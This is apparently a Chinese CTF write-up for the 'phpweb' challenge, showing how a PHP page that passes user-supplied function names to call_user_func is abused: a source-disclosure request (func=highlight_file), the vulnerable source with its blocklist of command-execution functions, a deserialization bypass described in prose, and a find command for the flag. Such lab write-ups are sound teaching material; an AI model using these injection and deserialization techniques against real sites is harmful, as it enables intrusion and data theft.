开幕雷击:
![](https://i-blog.csdnimg.cn/direct/8fe5523120d14396afb580d0fe341f5a.png)
听不懂思密达
![](https://i-blog.csdnimg.cn/direct/9acaf21515474cdaacf51a1802c1ca6b.png)
抓个包看看
![](https://i-blog.csdnimg.cn/direct/df9ec88572dd4d9ea9f9c69f222bb0bb.png)
发现传入一个函数
func=date&p=Y-m-d+h%3Ai%3As+a
p
通常作为参数的值传递给前面指定的函数,将其url解码后得到 Y-m-d h:i:s a
,这是 date()
函数中用于指定日期和时间格式的字符串
Y
:表示四位数的年份,例如2025
。m
:表示两位数的月份,范围从01
到12
。d
:表示两位数的日期,范围从01
到31
。h
:表示 12 小时制的小时数,范围从01
到12
。i
:表示分钟数,范围从00
到59
。s
:表示秒数,范围从00
到59
。a
:表示上午或下午,值为am
或pm
。
尝试着这么构造,发现不行
![](https://i-blog.csdnimg.cn/direct/7e347b9f5249472bbb8dc16021944157.png)
输入
html
func=highlight_file&p=index.php
这样就能看见源代码了
另一种读取源代码方式:file_get_content()
![](https://i-blog.csdnimg.cn/direct/b25bb42de2ed40c3a9ce8257e73fb312.png)
html
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>
call_user_func()
函数允许你将函数名作为一个字符串传递给该函数,并可以向被调用的函数传递参数。
利用反序列化漏洞,既然可以执行任何函数,那么就可以执行unserialize()
![](https://i-blog.csdnimg.cn/direct/33138e68476741338d74b94975ed9800.png)
![](https://i-blog.csdnimg.cn/direct/9858732249ae474c97a30a4d2e809ea5.png)
然后就能遍历目录,但是没有flag
![](https://i-blog.csdnimg.cn/direct/c60d099a02f0491ca74d482f6cb85c80.png)
查看根目录:
![](https://i-blog.csdnimg.cn/direct/2856cb66f6584c16bd6a3895e8ec3051.png)
还是没有
![](https://i-blog.csdnimg.cn/direct/1f000eacac784036a1b81718aedffe6c.png)
用find搜索:
html
find / -name flag*
发现有flag
![](https://i-blog.csdnimg.cn/direct/263c1bf1e33a4e52b0f365a1638a9c77.png)
使用cat命令
拿到flag